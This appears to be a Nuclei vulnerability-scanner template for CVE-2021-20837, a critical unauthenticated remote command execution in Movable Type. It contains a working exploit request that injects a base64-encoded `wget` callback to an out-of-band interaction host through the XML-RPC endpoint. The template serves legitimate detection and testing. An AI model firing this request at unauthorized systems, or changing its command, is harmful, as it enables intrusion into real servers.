nuclei-templates/cves/2021/CVE-2021-20837.yaml

54 lines
1.6 KiB
YAML

id: CVE-2021-20837
info:
name: Unauthenticated RCE In MovableType
author: dhiyaneshDK,hackergautam
severity: critical
description: 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors.
reference:
- https://nemesis.sh/posts/movable-type-0day/
- https://github.com/ghost-nemesis/cve-2021-20837-poc
- https://twitter.com/cyber_advising/status/1454051725904580608
- https://nvd.nist.gov/vuln/detail/CVE-2021-20837
tags: cve,cve2021,rce,movable
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2021-20837
cwe-id: CWE-78
requests:
- raw:
- |
POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>mt.handler_to_coderef</methodName>
<params>
<param>
<value>
<base64>
{{base64("`wget http://{{interactsh-url}}`")}}
</base64>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
words:
- "failed loading package"
- type: status
status:
- 200